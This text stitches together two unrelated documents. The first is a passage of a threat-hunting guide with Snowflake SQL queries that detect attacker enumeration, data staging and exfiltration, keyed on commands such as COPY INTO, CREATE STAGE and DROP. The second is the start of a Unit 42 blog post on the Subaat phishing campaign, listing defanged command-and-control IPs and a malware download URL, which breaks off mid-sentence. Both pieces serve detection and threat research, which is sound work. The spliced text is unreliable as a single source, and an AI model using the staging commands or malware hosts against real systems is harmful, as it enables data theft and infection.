s.LOGIN_EVENT_ID GROUP BY USERNAME ``` ### Error Rate Analysis **Description** Similar to query frequency analysis, attackers often have abnormal failure/success rates as compared to service and user account norms. Attacker brute force tools and fuzzers generate failures while enumerating the DB schemas, while on the flipside a misconfigured service account dropping in error % per day for a short span of time without explanation can be indicative of interactive user activity on the account. **Observations** After identifying the error codes of interest (the top 4 with deviations during the time of interest), failed transactions were filtered by user, date, and code. These can then be post-processed to timechart the errors by user, and filtered by codes. **Warnings About FP/Noise** Error codes are 6 digit, zero padded, but the padded zeros are not visible in the output results. Padded zeros must be explicitly specified if using IN/NOT IN conditions within the WHERE statement. An initial stack on error codes by DATE only will help identify the noisiest codes, which can then be filtered out. Since the user count can be very high, it is worth running different filters to check named-user and non-named-user separately. In our case, named users had the format F.L, so NOT USERNAME LIKE ‘%.%’ will remove named users. **Stacking Field Definition** | Field Name | Field Definition | |------------|------------------| | CLIENT_IP / IP | IP address running queries | | USERNAME | Name of the user account that ran the query | | APPLICATION_NAME | The name of the application that ran queries, from CLIENT_ENVIRONMENT | | EARLIEST_UTC | First time, grouped variation was observed, normalized to UTC as a string | | LATEST_UTC | Last time, grouped variation was observed, normalized to UTC as a string | | UNIQUE_QUERIES | Count of unique queries per grouped variation | | TOTAL_QUERIES | Count of total queries per grouped variation | | DAY_COUNT | Count of unique days active per grouped variation | | UNIQ_USER | Count of unique users per grouped variation | | ARR_UNIQ_USER | Array of users that ran queries per grouped variation | | UNIQ_APP_NAME | Count of unique application names per grouped variation | | ARR_APP_NAME | Array of application names per grouped variation | | UNIQ_OS | Count of unique operating systems per grouped variation | | ARR_OP_SYS | Array of operating systems per grouped variation | | UNIQ_IP | Count of unique IPs per grouped variation | | UNIQ_CODES | Count of unique error codes | | UNIQ_MSG | Count of unique error messages | | UNIQ_CODE_MSG_RATE | UNIQ_CODES divided by the UNIQ_MSG | | UNIQ_MSG_TOTAL_RATE | UNIQ_MSG divided by the ERR_COUNT | | Q_ERR_CODE | Query error code | | FAIL_COUNT | Count of total "fail" results for queries run | | SUCCESS_COUNT | Count of total "success" results for queries run | | FAIL_DAY_COUNT | Count of unique days on which a fail occurred | | AVG_QUERY_PER_DAY | Average queries run per day | ### Query 1: Identifying Which Queries Result in the Highest Error Rate ```sql SELECT DATE(START_TIME) AS QUERY_DATE, COUNT(DISTINCT CLIENT_IP) AS UNIQ_IP, COUNT(DISTINCT q.ERROR_CODE) AS UNIQ_CODES, COUNT(DISTINCT q.ERROR_MESSAGE) AS UNIQ_MSG, COUNT(q.ERROR_MESSAGE) AS ERR_COUNT, TO_NUMBER((UNIQ_CODES/UNIQ_MSG)*100, 10, 2) AS UNIQ_CODE_MSG_RATE, TO_NUMBER((UNIQ_MSG/ERR_COUNT)*100, 10, 2) AS UNIQ_MSG_TOTAL_RATE FROM snowflake.account_usage.query_history q JOIN snowflake.account_usage.sessions s ON s.session_id = q.session_id JOIN snowflake.account_usage.login_history l ON l.EVENT_ID = q.LOGIN_EVENT_ID WHERE EXECUTION_STATUS = 'FAIL' AND NOT q.ERROR_CODE IN ('090106', '002129') GROUP BY QUERY_DATE ORDER BY QUERY_DATE ``` ### Query 2: Frequency of Errors by Error Reason Type (Codes, etc.) ```sql SELECT q.ERROR_CODE AS Q_ERR_CODE, COUNT(DISTINCT q.ERROR_MESSAGE) AS UNIQ_ERR_MSG, COUNT(EXECUTION_STATUS) AS HIT_COUNT, COUNT(DISTINCT CLIENT_IP) AS UNIQ_IP, ARRAY_UNIQUE_AGG(JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'OS')) AS ARR_OP_SYS FROM snowflake.account_usage.query_history q JOIN snowflake.account_usage.sessions s ON s.session_id = q.session_id JOIN snowflake.account_usage.login_history l ON l.EVENT_ID = q.LOGIN_EVENT_ID WHERE EXECUTION_STATUS = 'FAIL' GROUP BY Q_ERR_CODE ORDER BY Q_ERR_CODE ``` ### High Resource Consumption **Description** Analysis of resources and cloud credits used for queries. When attackers aim to exfiltrate large amounts of data, the resources used to perform the queries/compression/exfil increase the compute resources required above the norm. **Warnings About FP/Noise** Metrics for CREDITS_USED_CLOUD_SERVICES are often directly related to the computational power needed to run a query; however, computational power is not always indicative of attacker queries. Since an attacker is often enumerating and exfiltrating data, ROWS_PRODUCED and ROWS_WRITTEN_TO_RESULT fields are more likely to help identify the latter. **Stacking Field Definition** | Field Name | Field Definition | |------------|------------------| | CLIENT_IP / IP | IP address running queries | | USERNAME | Name of the user account that ran the query | | APPLICATION_NAME | The name of the application that ran queries, from CLIENT_ENVIRONMENT | | EARLIEST_UTC | First time, grouped variation was observed, normalized to UTC as a string | | LATEST_UTC | Last time, grouped variation was observed, normalized to UTC as a string | | UNIQUE_QUERIES | Count of unique queries per grouped variation | | TOTAL_QUERIES | Count of total queries per grouped variation | | DAY_COUNT | Count of unique days active per grouped variation | | UNIQ_USER | Count of unique users per grouped variation | | ARR_UNIQ_USER | Array of users that ran queries per grouped variation | | UNIQ_APP_NAME | Count of unique application names per grouped variation | | ARR_APP_NAME | Array of application names per grouped variation | | UNIQ_OS | Count of unique operating systems per grouped variation | | ARR_OP_SYS | Array of operating systems per grouped variation | | UNIQ_IP | Count of unique IPs per grouped variation | | QUERY_LOAD_PERCENT | Summation of the query load percent per grouped variation | | QUERY_ACCELERATION_BYTES_SCANNED | Summation of the query acceleration bytes scanned per grouped variation | | QUERY_ACCELERATION_PARTITIONS_SCANNED | Summation of the query acceleration partitions scanned per grouped variation | | QUERY_ACCELERATION_UPPER_LIMIT_SCALE_FACTOR | Summation of the query acceleration scale factor per grouped variation | | ARR_OUTBOUND_DATA_TRANSFER_CLOUD | Array of unique values for outbound data transfer cloud (AWS, AZURE etc.) | | ARR_OUTBOUND_DATA_TRANSFER_REGION | Array of unique values for outbound cloud regions (east, west, etc.) | | OUTBOUND_DATA_TRANSFER_BYTES | Summation of the outbound data transfer bytes | | ARR_INBOUND_DATA_TRANSFER_CLOUD | Array of unique values for inbound data transfer cloud (AWS, AZURE etc.) | | ARR_INBOUND_DATA_TRANSFER_REGION | Array of unique values for inbound data transfer regions (east, west, etc.) | | INBOUND_DATA_TRANSFER_BYTES | Summation of the inbound data transfer bytes | | CREDITS_USED_CLOUD_SERVICES | Summation of the cloud credits used | | BYTES_WRITTEN | Summation of the bytes written | | BYTES_WRITTEN_TO_RESULT | Summation of the bytes written to result | | BYTES_READ_FROM_RESULT | Summation of the bytes read from result | | ROWS_PRODUCED | Summation of the rows produced | | ROWS_INSERTED | Summation of the rows inserted | | ROWS_UPDATED | Summation of the rows updated | | ROWS_DELETED | Summation of the rows deleted | | ROWS_UNLOADED | Summation of the rows unloaded | | ROWS_WRITTEN_TO_RESULT | Summation of the rows written to result | ### Query 1: Identifying Count of Queries with High Resource Consumption ```sql SELECT DATE(START_TIME) AS QUERY_DATE, COUNT(DISTINCT QUERY_HASH) AS UNIQUE_QUERIES, COUNT(QUERY_TEXT) AS TOTAL_QUERIES, TO_VARCHAR(MIN(CONVERT_TIMEZONE('UTC', START_TIME)), 'yyyy-mm-dd hh24:mi:ss') AS EARLIEST_UTC, TO_VARCHAR(MAX(CONVERT_TIMEZONE('UTC', START_TIME)), 'yyyy-mm-dd hh24:mi:ss') AS LATEST_UTC, SUM(QUERY_LOAD_PERCENT) AS QUERY_LOAD_PERCENT, SUM(QUERY_ACCELERATION_BYTES_SCANNED) AS QUERY_ACCELERATION_BYTES_SCANNED, SUM(QUERY_ACCELERATION_PARTITIONS_SCANNED) AS QUERY_ACCELERATION_PARTITIONS_SCANNED, SUM(QUERY_ACCELERATION_UPPER_LIMIT_SCALE_FACTOR) AS QUERY_ACCELERATION_UPPER_LIMIT_SCALE_FACTOR, ARRAY_UNIQUE_AGG(JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'APPLICATION')) AS ARR_APP_NAME, COUNT(DISTINCT JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'APPLICATION')) AS UNIQ_APP_NAME, ARRAY_UNIQUE_AGG(JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'OS')) AS ARR_OP_SYS FROM snowflake.account_usage.query_history q JOIN snowflake.account_usage.sessions s ON s.session_id = q.session_id JOIN snowflake.account_usage.login_history l ON l.EVENT_ID = s.LOGIN_EVENT_ID GROUP BY QUERY_DATE ``` ### Query 2: Identifying High Credit Usage ```sql SELECT DATE(START_TIME) AS QUERY_DATE, JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'APPLICATION') AS APPLICATION_NAME, ARRAY_UNIQUE_AGG(OUTBOUND_DATA_TRANSFER_CLOUD) AS ARR_OUTBOUND_DATA_TRANSFER_CLOUD, ARRAY_UNIQUE_AGG(OUTBOUND_DATA_TRANSFER_REGION) AS ARR_OUTBOUND_DATA_TRANSFER_REGION, SUM(OUTBOUND_DATA_TRANSFER_BYTES) AS OUTBOUND_DATA_TRANSFER_BYTES, ARRAY_UNIQUE_AGG(INBOUND_DATA_TRANSFER_CLOUD) AS ARR_INBOUND_DATA_TRANSFER_CLOUD, ARRAY_UNIQUE_AGG(INBOUND_DATA_TRANSFER_REGION) AS ARR_INBOUND_DATA_TRANSFER_REGION, SUM(INBOUND_DATA_TRANSFER_BYTES) AS INBOUND_DATA_TRANSFER_BYTES, SUM(CREDITS_USED_CLOUD_SERVICES) AS CREDITS_USED_CLOUD_SERVICES, COUNT(DISTINCT QUERY_HASH) AS UNIQUE_QUERIES, TO_VARCHAR(MIN(CONVERT_TIMEZONE('UTC', START_TIME)), 'yyyy-mm-dd hh24:mi:ss') AS EARLIEST_UTC, TO_VARCHAR(MAX(CONVERT_TIMEZONE('UTC', START_TIME)), 'yyyy-mm-dd hh24:mi:ss') AS LATEST_UTC, COUNT(DISTINCT DATE(START_TIME)) AS DAY_COUNT, ARRAY_UNIQUE_AGG(JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'APPLICATION')) AS ARR_APP_NAME, COUNT(DISTINCT JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'APPLICATION')) AS UNIQ_APP_NAME, ARRAY_UNIQUE_AGG(JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'OS')) AS ARR_OP_SYS FROM snowflake.account_usage.query_history q JOIN snowflake.account_usage.sessions s ON s.session_id = q.session_id JOIN snowflake.account_usage.login_history l ON l.EVENT_ID = s.LOGIN_EVENT_ID GROUP BY QUERY_DATE ``` ### Long Running Queries **Description** The following queries were designed to identify queries with abnormally long run times compared to the average run within the Snowflake environment. Two separate queries were designed to break out Long Running Query Usage - large amounts of abnormally long queries from any single user or IP address. **Potential Attacker Trends** Please see the "Indicators of Compromise (IOCs)" section of the blog post for an actively updated list of Applications observed by UNC5537. **Warnings About FP/Noise** - Although SnowSQL was observed linked to TA activity, we saw historic use of SnowSQL for additional uncompromised accounts back in early 2023. This app name alone is not a high-fidelity indicator, but should be paired with other findings. - `com.amazonaws.services.glue.ProcessLauncher` and `PythonConnector` were our two noisiest app names, and filtering these out reduced our dataset from 60k down to around 500. **Stacking Field Definition** | Field Name | Field Definition | |------------|------------------| | CLIENT_IP / IP | IP address running queries | | USERNAME | Name of the user account that ran the query | | APPLICATION_NAME | The name of the application that ran queries, from CLIENT_ENVIRONMENT | | EARLIEST_UTC | First time, grouped variation was observed, normalized to UTC as a string | | LATEST_UTC | Last time, grouped variation was observed, normalized to UTC as a string | | UNIQUE_QUERIES | Count of unique queries per grouped variation | | TOTAL_QUERIES | Count of total queries per grouped variation | | DAY_COUNT | Count of unique days active per grouped variation | | UNIQ_USER | Count of unique users per grouped variation | | ARR_UNIQ_USER | Array of users that ran queries per grouped variation | | UNIQ_APP_NAME | Count of unique application names per grouped variation | | ARR_APP_NAME | Array of application names per grouped variation | | UNIQ_OS | Count of unique operating systems per grouped variation | | ARR_OP_SYS | Array of operating systems per grouped variation | | UNIQ_IP | Count of unique IPs per grouped variation | ### Query 1: Stack by IP ```sql SELECT CLIENT_IP, COUNT(DISTINCT QUERY_TEXT) AS UNIQUE_QUERIES, COUNT(QUERY_TEXT) AS TOTAL_QUERIES, TO_VARCHAR(MIN(CONVERT_TIMEZONE('UTC', START_TIME)), 'yyyy-mm-dd hh24:mi:ss') AS EARLIEST_UTC, TO_VARCHAR(MAX(CONVERT_TIMEZONE('UTC', START_TIME)), 'yyyy-mm-dd hh24:mi:ss') AS LATEST_UTC, COUNT(DISTINCT DATE(START_TIME)) AS DAY_COUNT, ARRAY_UNIQUE_AGG(JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'APPLICATION')) AS ARR_APP_NAME, COUNT(DISTINCT JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'APPLICATION')) AS UNIQ_APP_NAME, ARRAY_UNIQUE_AGG(JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'OS')) AS ARR_OP_SYS, COUNT(DISTINCT JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'OS')) AS UNIQ_OS, ARRAY_UNIQUE_AGG(l.USER_NAME) AS ARR_USER, COUNT(DISTINCT l.USER_NAME) AS UNIQ_USER FROM snowflake.account_usage.query_history q JOIN snowflake.account_usage.sessions s ON s.session_id = q.session_id JOIN snowflake.account_usage.login_history l ON l.EVENT_ID = q.LOGIN_EVENT_ID WHERE q.total_elapsed_time > (SELECT AVG(TOTAL_ELAPSED_TIME) FROM snowflake.account_usage.query_history q) GROUP BY CLIENT_IP ``` ### Query 2: Stack by User ```sql SELECT q.USER_NAME, COUNT(DISTINCT QUERY_HASH) AS UNIQUE_QUERIES, COUNT(QUERY_TEXT) AS TOTAL_QUERIES, TO_VARCHAR(MIN(CONVERT_TIMEZONE('UTC', START_TIME)), 'yyyy-mm-dd hh24:mi:ss') AS EARLIEST_UTC, TO_VARCHAR(MAX(CONVERT_TIMEZONE('UTC', START_TIME)), 'yyyy-mm-dd hh24:mi:ss') AS LATEST_UTC, COUNT(DISTINCT DATE(START_TIME)) AS DAY_COUNT, ARRAY_UNIQUE_AGG(JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'APPLICATION')) AS ARR_APP_NAME, COUNT(DISTINCT JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'APPLICATION')) AS UNIQ_APP_NAME, ARRAY_UNIQUE_AGG(JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'OS')) AS ARR_OP_SYS, COUNT(DISTINCT JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'OS')) AS UNIQ_OS, ARRAY_UNIQUE_AGG(l.CLIENT_IP) AS ARR_IP, COUNT(DISTINCT l.CLIENT_IP) AS UNIQ_IP FROM snowflake.account_usage.query_history q JOIN snowflake.account_usage.sessions s ON s.session_id = q.session_id JOIN snowflake.account_usage.login_history l ON l.EVENT_ID = q.LOGIN_EVENT_ID WHERE q.total_elapsed_time > (SELECT AVG(TOTAL_ELAPSED_TIME) FROM snowflake.account_usage.query_history q) GROUP BY q.USER_NAME ``` ### Multi-Day Duplicate Queries **Description** Several engagements have shown the attacker running many of the same queries across a small selection of days. The below query can be run with your known bad IPs to identify if this multi-day repeat pattern of queries exists in a client environment. **Potential Attacker Trends** We observed the attacker running several thousand duplicate queries across three distinct days. These will clearly stick out from the rest of the attacker’s activity. **Warnings About FP/Noise** Caution should be taken not to stack this query by username. Since the attacker may be using an existing account, which itself may be used to run recurring queries, it will have a tendency to show a high amount of noise. ### Query 1: Multi-day repeats ```sql WITH sq AS ( SELECT QUERY_HASH, COUNT(DISTINCT DATE(START_TIME)) AS DAY_COUNT FROM snowflake.account_usage.query_history q JOIN snowflake.account_usage.sessions s ON s.session_id = q.session_id JOIN snowflake.account_usage.login_history l ON l.EVENT_ID = s.LOGIN_EVENT_ID WHERE l.CLIENT_IP IN ('IP-1', 'IP-2', ... 'IP-n') GROUP BY QUERY_HASH ) SELECT DATE(START_TIME) AS QUERY_DATE, COUNT(DISTINCT q.QUERY_HASH) AS UNIQUE_QUERIES, ARRAY_UNIQUE_AGG(JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'APPLICATION')) AS ARR_APP_NAME, ARRAY_UNIQUE_AGG(JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'OS')) AS ARR_OP_SYS, ARRAY_UNIQUE_AGG(l.CLIENT_IP) AS ARR_IP, ARRAY_UNIQUE_AGG(l.USER_NAME) AS ARR_USERNAME FROM snowflake.account_usage.query_history q JOIN snowflake.account_usage.sessions s ON s.session_id = q.session_id JOIN snowflake.account_usage.login_history l ON l.EVENT_ID = s.LOGIN_EVENT_ID JOIN sq ON sq.QUERY_HASH = q.QUERY_HASH WHERE sq.DAY_COUNT > 1 AND l.CLIENT_IP IN ('IP-1', 'IP-2', ... 'IP-n') GROUP BY QUERY_DATE ORDER BY QUERY_DATE ASC ``` ## Staging/Exfil ### Data Compression **Description** Analysis of queries that use commands associated with compression, often seen prior to exfil. **Stacking Field Definition** | Field Name | Field Definition | |------------|------------------| | CLIENT_IP / IP | IP address running queries | | USERNAME | Name of the user account that ran the query | | APPLICATION_NAME | The name of the application that ran queries, from CLIENT_ENVIRONMENT | | EARLIEST_UTC | First time, grouped variation was observed, normalized to UTC as a string | | LATEST_UTC | Last time, grouped variation was observed, normalized to UTC as a string | | UNIQUE_QUERIES | Count of unique queries per grouped variation | | TOTAL_QUERIES | Count of total queries per grouped variation | | DAY_COUNT | Count of unique days active per grouped variation | | UNIQ_USER | Count of unique users per grouped variation | | ARR_UNIQ_USER | Array of users that ran queries per grouped variation | | UNIQ_APP_NAME | Count of unique application names per grouped variation | | ARR_APP_NAME | Array of application names per grouped variation | | UNIQ_OS | Count of unique operating systems per grouped variation | | ARR_OP_SYS | Array of operating systems per grouped variation | | UNIQ_IP | Count of unique IPs per grouped variation | ### Query 1: Stats on Queries with Data Compression per User ```sql SELECT DATE(START_TIME) AS QUERY_DATE, l.USER_NAME AS USERNAME, COUNT(DISTINCT QUERY_HASH) AS UNIQUE_QUERIES, COUNT(QUERY_TEXT) AS TOTAL_QUERIES, TO_VARCHAR(MIN(CONVERT_TIMEZONE('UTC', START_TIME)), 'yyyy-mm-dd hh24:mi:ss') AS EARLIEST_UTC, TO_VARCHAR(MAX(CONVERT_TIMEZONE('UTC', START_TIME)), 'yyyy-mm-dd hh24:mi:ss') AS LATEST_UTC, COUNT(DISTINCT DATE(START_TIME)) AS DAY_COUNT, ARRAY_UNIQUE_AGG(JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'APPLICATION')) AS ARR_APP_NAME, COUNT(DISTINCT JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'APPLICATION')) AS UNIQ_APP_NAME, ARRAY_UNIQUE_AGG(JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'OS')) AS ARR_OP_SYS, COUNT(DISTINCT JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'OS')) AS UNIQ_OS, JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'OS') AS OP_SYS, COUNT(DISTINCT l.USER_NAME) AS UNIQ_USER, ARRAY_UNIQUE_AGG(l.USER_NAME) AS ARR_USER, COUNT(DISTINCT l.CLIENT_IP) AS UNIQ_IP FROM snowflake.account_usage.query_history q JOIN snowflake.account_usage.sessions s ON s.session_id = q.session_id JOIN snowflake.account_usage.login_history l ON l.EVENT_ID = s.LOGIN_EVENT_ID WHERE (upper(QUERY_TEXT) LIKE '%COPY FILE%' OR upper(QUERY_TEXT) LIKE '%COPY INTO%') GROUP BY QUERY_DATE, USERNAME ``` ### Query 2: Stats on Queries with Data Compression per IP Address ```sql SELECT DATE(START_TIME) AS QUERY_DATE, l.CLIENT_IP AS IP, COUNT(DISTINCT QUERY_HASH) AS UNIQUE_QUERIES, COUNT(QUERY_TEXT) AS TOTAL_QUERIES, TO_VARCHAR(MIN(CONVERT_TIMEZONE('UTC', START_TIME)), 'yyyy-mm-dd hh24:mi:ss') AS EARLIEST_UTC, TO_VARCHAR(MAX(CONVERT_TIMEZONE('UTC', START_TIME)), 'yyyy-mm-dd hh24:mi:ss') AS LATEST_UTC, COUNT(DISTINCT DATE(START_TIME)) AS DAY_COUNT, ARRAY_UNIQUE_AGG(JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'APPLICATION')) AS ARR_APP_NAME, COUNT(DISTINCT JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'APPLICATION')) AS UNIQ_APP_NAME, ARRAY_UNIQUE_AGG(JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'OS')) AS ARR_OP_SYS, COUNT(DISTINCT JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'OS')) AS UNIQ_OS, JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'OS') AS OP_SYS, COUNT(DISTINCT l.USER_NAME) AS UNIQ_USER, ARRAY_UNIQUE_AGG(l.USER_NAME) AS ARR_USER, COUNT(DISTINCT l.CLIENT_IP) AS UNIQ_IP FROM snowflake.account_usage.query_history q JOIN snowflake.account_usage.sessions s ON s.session_id = q.session_id JOIN snowflake.account_usage.login_history l ON l.EVENT_ID = s.LOGIN_EVENT_ID WHERE (upper(QUERY_TEXT) LIKE '%COPY FILE%' OR upper(QUERY_TEXT) LIKE '%COPY INTO%') GROUP BY QUERY_DATE, IP ``` ### Data Staging **Description** Analysis of queries with commands that are often associated with data staging prior to exfil. **Warnings About FP/Noise** In-house services and accounts may have back-up tasks associated with the staging commands (also with the compression commands in another section). We had to filter out for `QUERY_TEXT LIKE ‘%NOISE%’` for Kafka, spark_connector, S3, and others. Additional useful stacks to help with this can be stacking on date and OUTBOUND_DATA_TRANSFER_CLOUD, and looking for spikes in AWS/AZURE etc. and then pivoting from there. **Stacking Field Definition** | Field Name | Field Definition | |------------|------------------| | CLIENT_IP / IP | IP address running queries | | USERNAME | Name of the user account that ran the query | | APPLICATION_NAME | The name of the application that ran queries, from CLIENT_ENVIRONMENT | | EARLIEST_UTC | First time, grouped variation was observed, normalized to UTC as a string | | LATEST_UTC | Last time, grouped variation was observed, normalized to UTC as a string | | UNIQUE_QUERIES | Count of unique queries per grouped variation | | TOTAL_QUERIES | Count of total queries per grouped variation | | DAY_COUNT | Count of unique days active per grouped variation | | UNIQ_USER | Count of unique users per grouped variation | | ARR_UNIQ_USER | Array of users that ran queries per grouped variation | | UNIQ_APP_NAME | Count of unique application names per grouped variation | | ARR_APP_NAME | Array of application names per grouped variation | | UNIQ_OS | Count of unique operating systems per grouped variation | | ARR_OP_SYS | Array of operating systems per grouped variation | | UNIQ_IP | Count of unique IPs per grouped variation | ### Query 1: Stats on Queries with Data Staging per User ```sql SELECT l.USER_NAME AS USERNAME, QUERY_TYPE, DATE(START_TIME) AS QUERY_DATE, COUNT(DISTINCT QUERY_HASH) AS UNIQUE_QUERIES, COUNT(QUERY_TEXT) AS TOTAL_QUERIES, TO_VARCHAR(MIN(CONVERT_TIMEZONE('UTC', START_TIME)), 'yyyy-mm-dd hh24:mi:ss') AS EARLIEST_UTC, TO_VARCHAR(MAX(CONVERT_TIMEZONE('UTC', START_TIME)), 'yyyy-mm-dd hh24:mi:ss') AS LATEST_UTC, COUNT(DISTINCT DATE(START_TIME)) AS DAY_COUNT, ARRAY_UNIQUE_AGG(JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'APPLICATION')) AS ARR_APP_NAME, COUNT(DISTINCT JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'APPLICATION')) AS UNIQ_APP_NAME, ARRAY_UNIQUE_AGG(JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'OS')) AS ARR_OP_SYS, COUNT(DISTINCT l.CLIENT_IP) AS UNIQ_IP FROM snowflake.account_usage.query_history q JOIN snowflake.account_usage.sessions s ON s.session_id = q.session_id JOIN snowflake.account_usage.login_history l ON l.EVENT_ID = s.LOGIN_EVENT_ID WHERE (upper(QUERY_TEXT) LIKE '%ALTER STAGE%' OR upper(QUERY_TEXT) LIKE '%ALTER VOLUME%' OR upper(QUERY_TEXT) LIKE '%CREATE STAGE%' OR upper(QUERY_TEXT) LIKE '%CREATE VOLUME%' OR upper(QUERY_TEXT) LIKE '%LS %' OR upper(QUERY_TEXT) LIKE '%DROP %') GROUP BY USERNAME ``` ### Query 2: Stats on Queries with Data Staging per IP Address ```sql SELECT l.CLIENT_IP AS IP, QUERY_TYPE, DATE(START_TIME) AS QUERY_DATE, COUNT(DISTINCT QUERY_HASH) AS UNIQUE_QUERIES, COUNT(QUERY_TEXT) AS TOTAL_QUERIES, TO_VARCHAR(MIN(CONVERT_TIMEZONE('UTC', START_TIME)), 'yyyy-mm-dd hh24:mi:ss') AS EARLIEST_UTC, TO_VARCHAR(MAX(CONVERT_TIMEZONE('UTC', START_TIME)), 'yyyy-mm-dd hh24:mi:ss') AS LATEST_UTC, COUNT(DISTINCT DATE(START_TIME)) AS DAY_COUNT, ARRAY_UNIQUE_AGG(JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'APPLICATION')) AS ARR_APP_NAME, COUNT(DISTINCT JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'APPLICATION')) AS UNIQ_APP_NAME, ARRAY_UNIQUE_AGG(JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'OS')) AS ARR_OP_SYS, COUNT(DISTINCT JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'OS')) AS UNIQ_OS, COUNT(DISTINCT l.USER_NAME) AS UNIQ_USER, ARRAY_UNIQUE_AGG(l.USER_NAME) AS ARR_USER FROM snowflake.account_usage.query_history q JOIN snowflake.account_usage.sessions s ON s.session_id = q.session_id JOIN snowflake.account_usage.login_history l ON l.EVENT_ID = s.LOGIN_EVENT_ID WHERE (upper(QUERY_TEXT) LIKE '%ALTER STAGE%' OR upper(QUERY_TEXT) LIKE '%ALTER VOLUME%' OR upper(QUERY_TEXT) LIKE '%CREATE STAGE%' OR upper(QUERY_TEXT) LIKE '%CREATE VOLUME%' OR upper(QUERY_TEXT) LIKE '%LS %' OR upper(QUERY_TEXT) LIKE '%DROP %') GROUP BY IP ```
# Tracking Subaat: Targeted Phishing Attack Leads to Threat Actor's Repository **By Unit 42** **October 27, 2017** **Category:** Unit 42 **Tags:** CVE-2012-0158, Downloader, QuasarRAT, Subaat In mid-July, Palo Alto Networks Unit 42 identified a small targeted phishing campaign aimed at a government organization. While tracking the activities of this campaign, we identified a repository of additional malware, including a web server that was used to host the payloads used for both this attack as well as others. We’ll discuss how we discovered it, as well as possible attribution towards the individual behind these attacks. ## The Initial Attack Beginning on July 16, 2017, Unit 42 observed a small wave of phishing emails targeting a US-based government organization. We observed a total of 43 emails with the following subject lines: - Invention - Invention Event Within the 43 emails we observed, we found that three unique files were delivered, which consisted of two RTFs and a Microsoft Excel file. Both RTFs exploited CVE-2012-0158 and acted as downloaders to ultimately deliver the QuasarRAT malware family. The downloaders made use of the same shellcode, with minor variances witnessed between them. Additionally, the RTFs made use of heavy obfuscation within the documents themselves, making it more difficult to extract the embedded shellcode. The Microsoft Excel file contained malicious macros that resulted in dropping and subsequently executing Crimson Downloader. The Excel document contained a UserForm that in turn contained three text boxes. The embedded payload was hex-encoded and split between these three text boxes. The malicious macro extracted this information from the text boxes, dropped it to a specific location, and eventually executed the Crimson Downloader payload. Detailed information about these malware samples may be found in the appendix of this blog. A curious aspect of this campaign is the use of Crimson Downloader in this email campaign. To date, we have not widely seen Crimson Downloader being used: in fact, we have only seen 123 unique instances of this malware family being used to date. Readers may recall a previous blog post from March 2016 that discussed Crimson Downloader. That blog post discussed relationships with both Operation Transparent Tribe and Operation C-Major, which were both targeted campaigns that made use of Crimson Downloader aimed at diplomatic and political targets. The connections we observed in this research lead us to believe there might be a connection between this most recent activity we observed and those campaigns. However, there is not enough evidence to say so decisively. ## Expanding the Scope from the Original Attacks When looking at the various malware samples encountered as we analyzed this campaign, we identified a total of three hosts/IP addresses, as shown in the following chart: - **5.189.157[.]215**: Crimson Downloader connects to this IP address. - **115.186.136[.]237**: QuasarRAT connects to this IP address. - **subaat[.]com** (Resolves to 23.92.211[.]186): RTFs download QuasarRAT from this host. Starting with the first IP address that was used by Crimson Downloader, we can see that this address appears to be located in Germany and is almost exclusively associated with this malware family. Based on our telemetry, this IP address has exclusively been used to communicate with Crimson Downloader. We observed a total of 16 unique Crimson Downloader samples starting in May of this year. Moving onto the second IP address of 115.186.136[.]237, we see that this IP address belongs to a Pakistan-based Internet Service Provider (ISP), based in Islamabad, that services both residential and commercial customers. The subaat[.]com domain has historic WHOIS information from early 2016 that references a Pakistani location. Additionally, it uses pkwebhost[.]net for its DNS, which is a Pakistan-based hosting provider. The references to Pakistan in conjunction with the use of Crimson Downloader, which has historically been associated with Pakistan actors, is certainly interesting. The RTFs we observed in the original email campaign downloaded QuasarRAT from `http://subaat[.]com/files/sp.exe`. Checking this host led us to discover that directory listings were enabled. We were able to discover a large repository of malware on this open server. Since beginning this research, this domain has been suspended by the hosting provider. However, it returned in mid-August, hosting both a malicious APK and a known instance of QuasarRAT. In total, we found 84 unique malware payloads hosted on this server, in addition to a number of miscellaneous scripts. The chart below shows the malware families we identified: As we can see from the above chart, a wealth of different malware families were stored on this web server. Many of these malware families are considered to be 